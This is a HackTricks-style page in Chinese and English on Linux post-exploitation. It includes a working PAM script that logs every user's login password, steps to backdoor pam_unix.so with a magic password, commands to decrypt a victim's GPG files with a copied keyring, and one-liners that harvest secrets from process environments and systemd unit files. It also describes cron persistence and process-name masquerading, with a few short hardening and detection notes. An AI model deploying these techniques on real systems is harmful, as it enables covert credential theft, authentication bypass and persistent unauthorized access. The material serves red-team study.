Linux Post-Exploitation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Sniffing Logon Passwords with PAM

Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。它们可以通过自定义登录流程来增强安全性,但如果被滥用也会带来风险。本摘要概述了使用 PAM 捕获登录凭证的技术,以及相应的缓解策略。

Capturing Credentials:

  • 一个名为 toomanysecrets.sh 的 bash 脚本被编写用于记录登录尝试,记录内容包括日期、用户名($PAM_USER)、密码(通过 stdin)以及远程主机 IP($PAM_RHOST),并写入 /var/log/toomanysecrets.log
  • 该脚本被赋予可执行权限,并通过在 PAM 配置(common-auth)中使用 pam_exec.so 模块集成,带上使其静默运行并将认证 token 暴露给脚本的选项。
  • 该方法演示了如何利用被攻陷的 Linux 主机来隐蔽地记录凭证。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

在 PAM 中植入后门

更多细节请查看 original post。以下只是摘要:

Pluggable Authentication Module (PAM) 是在 Linux 下用于用户认证的系统。它基于三个主要概念运行:usernamepasswordservice。每个服务的配置文件位于 /etc/pam.d/ 目录,共享库负责处理认证。

目标:修改 PAM,使其允许使用特定密码进行认证,绕过真实用户密码。重点针对 pam_unix.so 共享库,该库被 common-auth 文件使用,而 common-auth 被几乎所有服务包含用于密码校验。

修改 pam_unix.so 的步骤:

  1. 定位认证指令(在 common-auth 文件中):
  • 负责检查用户密码的那一行会调用 pam_unix.so
  1. 修改源代码
  • pam_unix_auth.c 源文件中添加条件判断:若使用了预定义密码则授予访问,否则按正常流程进行认证。
  1. 重新编译并替换 修改后的 pam_unix.so 库到相应目录。
  2. 测试
  • 使用预定义密码可以在多种服务(login, ssh, sudo, su, screensaver)中获得访问权限,而正常的认证流程不受影响。

Tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

通过迁移 homedir 解密 GPG loot

如果你发现了加密的 .gpg 文件和用户的 ~/.gnupg 文件夹(pubring、private-keys、trustdb),但因 GnuPG homedir 的权限/锁定而无法解密,可将密钥环复制到可写位置并将其作为你的 GPG home 使用。

如果不这样做,常见错误包括: “unsafe ownership on homedir”, “failed to create temporary file”, 或 “decryption failed: No secret key”(因为 GPG 无法读/写原始 homedir)。

工作流程:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

如果 private-keys-v1.d 中存在密钥材料,GPG 会在不提示输入 passphrase 的情况下解锁并解密(如果密钥受保护则会提示)。

从进程环境收集凭证(包括容器)

当你在某个服务内获得代码执行时,该进程通常会继承一些敏感的环境变量。这些是横向移动的宝贵资源。

快速操作

  • 导出当前进程的环境变量:env or printenv
  • 导出其它进程的环境变量:tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • 如果没有 tr/sed,可加上 strings -z /proc/<PID>/environ
  • 在容器中,也检查 PID 1:tr '\0' '\n' </proc/1/environ

应查找的内容

  • 应用 secrets 和 管理员凭证(例如,Grafana 设置 GF_SECURITY_ADMIN_USERGF_SECURITY_ADMIN_PASSWORD
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • 代理和 TLS 覆盖:http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

注意

  • 许多编排通过 env 传递敏感配置;这些会被子进程继承,并暴露给你在该进程上下文中启动的任何交互式 shell。
  • 在某些情况下,这些 creds 会被系统范围重用(例如,相同的 username/password 在主机上对 SSH 有效),从而实现简单的横向转移。

Systemd-stored credentials in unit files (Environment=)

Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>)。这些值经常在内部 web UI(Basic-Auth)或其他服务中被重用。

加固

  • 将 secrets 移到专用的 secret stores (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
  • Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
  • 对测试中发现的 leaked passwords 进行轮换

Cron-based persistence with loopback mutex

  • 将 implants 复制到多个可写路径(/tmp, /var/tmp, /dev/shm, /run/lock)并安装 cron entries such as */5 * * * * /tmp/<bin>,以便即使在其他地方被删除也能重生。
  • 通过绑定固定的 loopback 端口(例如,127.0.0.1:51125127.0.0.1:52225)并在 bind() 失败时退出,来强制 single-instance 执行;ss -lntp | grep -E '51125|52225' 将显示 mutex listener。
  • 操作员可能会定期对任何其 cmdline 包含 dropper 名称(例如,init_stop)的进程进行批量终止,因此在分析时重用这些名称可能会发生冲突;请选择唯一的文件名。

Process masquerading via prctl + argv overwrite

  • 使用 prctl(PR_SET_NAME, "<label>") 设置短进程名(15-byte comm limit),常设为 init,以便 /proc/<pid>/status 和 GUI 显示无害标签。
  • 在读取 /proc/self/cmdline 长度和 argv[0] 指针后,覆盖内存中的 argv[0] 缓冲区,并用 NUL 填充,使 /proc/<pid>/cmdlineps 也显示伪标签。
  • 通过将 /proc/<pid>/status 中的 Name: 与真实可执行文件路径比较,并查找那些拥有非常短/空白 cmdlines 且拥有 loopback mutex listeners 的进程来进行检测。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks